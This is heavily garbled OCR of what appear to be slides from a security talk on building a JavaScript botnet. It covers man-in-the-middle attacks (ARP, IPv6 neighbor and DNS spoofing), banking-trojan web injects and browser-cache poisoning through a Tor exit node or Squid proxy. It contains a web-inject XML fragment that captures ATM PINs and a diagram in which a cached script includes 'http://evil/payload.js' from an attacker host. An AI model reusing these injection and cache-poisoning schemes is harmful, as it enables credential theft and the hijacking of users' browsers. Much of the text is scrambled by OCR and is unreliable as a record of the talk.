Owning"bad’ guys
{and mafia}with
Javascripiotnets

| KSYIl | f2yam{ &aNBal ydz a
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Let'sdo abotnet but8

AWe arelazy

AWe haverit money

AWe haverit Oday

AWearen't the FBI

AWe aren't either:
Google feezp o
Apple Vagos Noo, Muy Vagos !!
Microsoft
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Letthemto
be infected
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Manin the Middle schemas

Alnterceptcommunicationdetweenclientand server
ACompromisedhannel -> Pwned
ANetwork
ARPSpoofing LN Informatica 64
RogueDHCP(6) s
ICMPVESppofing | &

- 192.768.0.198
s SCDI3BBFEEIA

I C bl 192168051
- 002100052284
S I AA@ttaC kS itz feB0:ddaa:3752f002:7eb0

- 1921680134

Networi MITM IPvE [ MITM IPv4 | DoS IPv6 | DoS IPv4 | DNS Hiacking |
B--ﬁ Meighbaors - -
= DO01ESCE38BOF (cubo05) Meighbor advertisement spoofing |SLN\C I DHCF‘\r6|
- 4 feB0:e108f04e:d799:6211 Gateway B O Tagets
- 192.168.0.132

s 0013B974E527

s CBBCATIEFTCH

ADNSSpoofi e
T 20 in: * Spocfs: 96
I n g | P e 192.168.0.50 Domain:

: DNSHijacking
- OODICEF4D1006 Resolve as:  1.23.4
e 192.168.0.191 NeiahborAdvert Target 1:  fe80:e 1087042 d755:6211 (8) Route: Full
X eiahborAdveriSeme. . Torget 2. fe80::2052.5584: Ta2b f6ab (3)
fl 4 1
.
AEVIIFOC/Rulez

1717 NeighborSpocfing  Mew neighbor detected with 001B28560A83 as physical address
1717 NeighborSpocfing  Performing @ MITM {Neighbor spoofing) attack between fe80::e108f04e:d759:6211 and fe0.:2c5. .
1718 NetworcDiscovery  Sending neighbor discovery packets
1719 NetworcDiscovery  Sending neighbor discovery packets

| 1720 NetworkDiscovery  Sending neighbor discovery packets
174 NetworkDiscovery  Sending neighbor discovery packets
1722 NetworkDiscovery  Sending neighbor discovery packets

([l
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Manin the Browser

APlugins , .

ﬂ XML _Troyano_Banco.xml: Bloc de notas =

BHO Archive Edicién  Formato  Ver  Ayuda

k?xml version="1.0" encoding="windows-1251" 7>

Addons ﬁ:?iﬁ;E'I'ISfargo"

before="name=userid autocomplete="off =</DIV>"
what=""

AAcce SO a” data <DIV><LABEL for=userid>ATM PIN</LABEL>:<BR><SPAN

S class="mozcloak’ ><INPUT id=pin tabIndex=2 maxLength=4
type=password size=4 name=pin

autoc omplete="of f '></S5PAN></DIV>

PaSSWO rdS i block="alt=Go"
COde gam:eniﬁ’d”
ABankingrojans

</inject>
a lrussianinmyL 9 €
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JavaScript inthe Middle

A PoisoningBrowser cache

A No permanent
Deletingcachemeansinfectioncleaned

A Cachedtontentis usedif not expired
A Allowsattackersto inject remote javascript

A Accessto:

Cookies
Not HTTPOnlymoreor lesg

HTMLCode
Formfields
URLs
Codeexecution
X
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GoogleAnalytics|s & malware

@ Trojan:JS/Redirector.GA (7)

Encyclopedia entry
Published: Sep 30, 2010

Aliases
Mot available

Alert Level (7)
SEVEere

Antimalware protection details
Microsoft recommends that you download the latest definitions to get protected.

Detection intially created:
Definition: 1.91.891.0
Released: Sep 30, 2010
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How to Inject JavaScripttode

APersistentXSS

AOwningHTTP Servers

ANetwork Man In the middle attacks
WiFI
ARPSpoofing
IPVv6

AMemcacheattacks

Almagination
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eEF

THE EROWSER EXPLOITATION FRAMEWORK PROJECT

Frameworko own o 2 ¢ 4 Qdhl a
Injectajavascriptin eachclient
ThatjavaScriptoadspayloadsrom C&C
http://beefproject.com
VeryWellKnown
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http://beefproject.com/

How to createa
JavaScripBotnet
from the scratch
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TORNodes

Alice
R
:cv—'- v’
Jane

« » = unencryptod link
—pe oncCryplod link

. GRS
Bob
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TORNodes

7~

\=| Registro de Mensajes

L Pe—

b =

®n x /J 0 0

Guardar Todo Guardar la selecdon ~ Copiar  Selecdonar Todos Buscar Borrar | Preferencias Ayuda Cerrar
Advanced
Hora Tipo Mensaje
oct 06 11:14:03.171 Notice ~ Opening Directory listener on 0.0.0.0:9030
oct 06 11:14:03.171 Notice ~ Opening Socks listener on 127.0.0.1:9050
oct 06 11:14:03.171 Notice ~ Opening Control listener on 127.0.0.1:9051
oct 06 11:14:03.282 Notice  Parsing GEOIP file.
oct 06 11:14:23.108 Notice  Have tried resolving or connecting to address '[scrubbed]' at 3 different places. Giving up.
oct 06 11:15:18.772 Notice  Interrupt: will shut down in 30 seconds. Interrupt again to exit now.
oct 06 11:15:44.105 Notice  Torv0.2.1.26. This is experimental software. Do not rely on it for strong anonymity. (Running on Very recent version of Windows [major=6,minor=1] [workstation] {terminal services, singl...
oct 06 11:15:44.105 Notice  Initialized libevent version 1.4.12-stable using method win32. Good.
oct 06 11:15:44.105 Notice ~ Opening OR listener on 0.0.0.0:443
oct 06 11:15:44.106 Notice ~ Opening Directory listener on 0.0.0.0:9030
oct 06 11:15:44.106 Notice ~ Opening Socks listener on 127.0.0.1:9050
oct 06 11:15:44.106 Notice  Opening Control listener on 127.0.0.1:9051
oct 06 11:15:52.810 Notice  Guessed our IP address as 62.82.159.150 (source: 208.83.223.34).
oct 06 11:15:54.166 Notice  Bootstrapped 90%: Establishing a Tor circuit.
oct 06 11:15:55.524 Notice  Tor has successfully opened a circuit. Looks like client functionality is working.
oct 06 11:15:55.525 Notice  Bootstrapped 100%: Done.
oct 06 11:15:55.548 Notice ~ Now checking whether ORPort 62.82.159.150:443 and DirPort 62.82.159.150:9030 are reachable... (this may take up to 20 minutes -- look for log messages indicating success)
oct 06 11:16:08.172 Notice Hauetriedresolving.orconnectingtoaddress [scrubbed] at3 different places Givingup.
oct 06 11:18:45.643 Notice |:Your DNS provider gave an answer for "du.invalid”, which is not supposed to exist. Apparently they are hijacking DNS failures. Trying to correct for this. We've noticed 1 possibly bad addr...
oct 06 11:18:45.683 Notice | Your DNS provider has given "192.168.1.101" as an answer for 11 different invalid addresses. Apparently they are hijacking DNS failures. I'll try to correct for this by treating future occurren...
oct 06 11:19:15.659 Notice | Your DNS provider tried to redirect "www.yahco.com" to a junk address. It has done this with 3 test addresses so far. I'm going to stop being an exit node for now, since our DNS seems so...
oct 06 11:29:17.827 Notice | Your DNS provider gave an answer for "lppwspkk.invalid”, which is not supposed to exist. Apparently they are hijacking DNS failures. Trying to correct for this. We've noticed 1 possibly b...
oct 06 11:29:17.893 Notice | Your DNS provider has given "192.168.1.101" as an answer for 11 different invalid addresses. Apparently they are hijacking DNS failures. I'll try to correct for this by treating future occurren...
oct 06 11:29:38.245 Notice ~ Have tried resolving or connecting to address [scrubbed] at 3 different places. Giving up.
oct 06 11:35:52.059 Warning  Your server (62.82.159.150:443) has not managed to confirm that its ORPort is reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.
oct 06 11:35:52.071 Warning  Your server (62.82.159.150:9030) has not managed to confirm that its DirPort is reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.
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Buy abullet-Prof

ANot:
ThePirateBay

Amazon
(RemenbeWikileaks

Megaupload

—— BEiEapD
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Configure SQUIDProxy

GET /HTTP/1.1 GET /HTTP/1.1
Host: www.web.com Host: www.web.com
Respon se a Respon se R e fear et ]
Home.html Home.html . aMHE
GET &.jspHTTP/1.1 GET a&.jspHTTP/1.1 -2
Host: www.web.com Host: www.web.com . -
———————— Response >
Response P

a.Jspt pasarela.js

J includehttp://evil/payload.js
GET /payload.js HTTP/1.1

Host:evil

_
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